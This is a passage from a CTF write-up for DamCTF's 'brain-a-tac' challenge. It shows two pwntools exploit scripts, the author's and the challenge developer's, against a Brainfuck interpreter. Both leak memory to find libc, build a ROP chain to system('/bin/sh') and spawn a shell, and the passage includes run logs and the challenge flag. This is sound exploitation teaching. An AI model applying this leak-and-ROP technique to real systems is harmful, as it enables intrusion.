    jnz read_byte_not_zero
...
...
exit: /* ip = 0x7f causes program to finish */
'''

instructions = [
        0x4, # getc [mp]
        0x7f0007, # jz exit
        0x4, # getc [mp]
        0x2, # dec mp
        0x4, # getc [mp]
        0x0d0007, # jz read_loop
        0x0a0008, # jnz read_byte_not_zero
]
instructions = b''.join(map(p32, instructions))

info("injecting write loop bytecode")
for c in instructions:
    recvd = io.recv(1)
    mem[idx] = c
    real_send(p8(c))
    idx = (idx + 1) & 0xffff
success("write loop injected!")

info("resuming info leak... this will take a while")
while idx != 0x2bf:
    recvd = io.recv(1)
    # read the byte, then send it back lol
    mem[idx] = u8(recvd)
    sys.stdout.buffer.write(b'.')
    sys.stdout.flush()
    if idx == 0x27e:
        # we are writing the ip explicitly,
        # so we don't need to send the same byte three times
        io.send(b'\x03')
    else:
        real_send(recvd)
    idx = (idx + 1) & 0xffff
success("info leak finished!")

# now first loop ends, we get to second loop
stop_reading()

libc_leak = mem[0x290:0x298]
libc.address = u64(libc_leak) - 0x2a3b8

info(f'{hex(libc.address)=}')


# ROP chain starts at mem[0x290]

rop = ROP(libc)
rop.raw(rop.find_gadget(['ret']))
rop.system(next(libc.search(b'/bin/sh\x00')))

print(rop.dump())

# ROP starts at 0x290
payload = rop.chain().ljust(0x2be - 0x290 + 1, b'\x00')[::-1]

info("writing ROP chain using our new write loop")
for c in payload:
    real_send(p8(c))
success("ROP chain injected!")

info("stopping program")
# we should be at the highest byte of rbp. we can clear that to zero with stop_reading
# not like we need rbp or anything
stop_reading()


success("shell spawned")
if args.REMOTE:
    info("for remote, we're only using the shell to print the flag")
    io.clean()
    io.sendline(b"cat flag")
    success("Found the flag: " + io.recvline().decode())
else:
    io.interactive()

# flag: dam{im_r3411y_g1ad_i_didnt_g0_w1th_ma1bo1g3_f0r_th1s_cha11}

Here’s how it looks like:

# ./exploit.py REMOTE
[*] '/shared/brain-a-tac/bf_patched'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    RUNPATH:    b'.'
[*] '/shared/brain-a-tac/libc.so.6'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    FORTIFY:    Enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
    Debuginfo:  Yes
[!] Did not find any GOT entries
[*] '/shared/brain-a-tac/ld-linux-x86-64.so.2'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
[+] Opening connection to brain-a-tac.chals.damctf.xyz on port 31337: Done
[*] modifying bytecode to get an info leak loop
[+] bytecode modified! we now have info leak loop
[*] starting info leak loop...
[*] injecting write loop bytecode
[+] write loop injected!
[*] resuming info leak... this will take a while
[!] if the dots get printed in short bursts, CANCEL IT AND RE-RUN. this only happens in remote
... tons of dots here but i removed them for the writeup ...
[*] hex(libc.address)='0x7fe2e41d3000'
[*] Loaded 116 cached gadgets for './libc.so.6'
0x0000:   0x7fe2e41fba93 ret
0x0008:   0x7fe2e42ec03c pop rdi; ret
0x0010:   0x7fe2e43ac44a [arg0] rdi = 140612468393034
0x0018:   0x7fe2e422df30 system
[*] writing ROP chain using our new write loop
[+] ROP chain injected!
[*] stopping program
[+] shell spawned
[*] for remote, we're only using the shell to print the flag
[+] Found the flag: dam{im_r3411y_g1ad_i_didnt_g0_w1th_ma1bo1g3_f0r_th1s_cha11}
[*] Closed connection to brain-a-tac.chals.damctf.xyz port 31337

The exploit developer’s solution (White)

Simply run it and you get a shell. You can change which line is commented to run a local process instead.

from pwn import *
context.binary = exe = ELF('./bf_patched')
libc = exe.libc


#p = process([exe.path, ">,[[>],[<]>-]-[>]-[<.+]++++++++++."])
p = remote("brain-a-tac.chals.damctf.xyz", 31337)

def real_send(bv: bytes):
    p.send(bv)
    if bv != b'\x00':
        p.send(bv)
        p.send(bv)

def stop_reading(bv = b'1'):
    p.send(bv)
    p.send(b'\x00')

p.send(b'\xff\x00' * 0x2b)
p.send(b'\x01\x00\x04\x01\x00\x41\x07\x01\x01\x04\x00\x00\x01\x03\x00\x01\x00\x04\x00\x00\x00\x08\x01\x04\x00\x07\x00\x05\x04\x00\x08\x01\x00\x01\x01\x01')
sleep(1)
p.recv(0xc)
p.send(b'\x00')


mem = bytearray(0x300)

idx = 0xa4
while idx != 0:
    recvd = p.recv(1)
    print(recvd)
    mem[idx] = u8(recvd)
    if idx == 0x27e:
        # we are writing the ip
        p.send(b'\x03')
    elif idx == 0x290:
        real_send(b'\x34')
    elif idx == 0x290 + 8:
        libc.address = u64(mem[0x290:0x290+8]) - libc.symbols['__libc_start_call_main'] - 120
        print(hex(libc.address))
        rop = ROP(libc)
        rop.system(next(libc.search(b'/bin/sh\0')))

        payload = rop.chain()

        for i in payload:
            real_send(bytes([i]))
        
        stop_reading()
        p.interactive()
        exit()
    else:
        real_send(recvd)
    
    if idx == 0x2:
        real_send(bytes([mem[0x27e:0x27e+8][(idx-0x27e)%8]]))
    if idx == 0x2ff:
        stop_reading()
        break
    print(hex(idx))
    idx = (idx + 1) & 0xffff
    # pause()
print(mem)

p.interactive()

There’s so much printing stuff so just run it for yourselves and see… smh (I think I wrote those)

Conclusion

I hope this goes to show that I am a human fuzzer. Aside from pwn/charful, which needed some knowledge about the weird ARM machine, my VR skills and instincts were put to test this CTF.

  • A sanity check/beginner-friendly challenge that is probably intended to be solved with some game reverse engineering, was solved with pure luck!
  • A hard challenge that requires creativity! Creating a debugger was probably the best thing I did this CTF.

Huge props to the DamCTF organizers, Oregon State University Security Club (OSUSEC)! Looking forward to the next CTF!

gg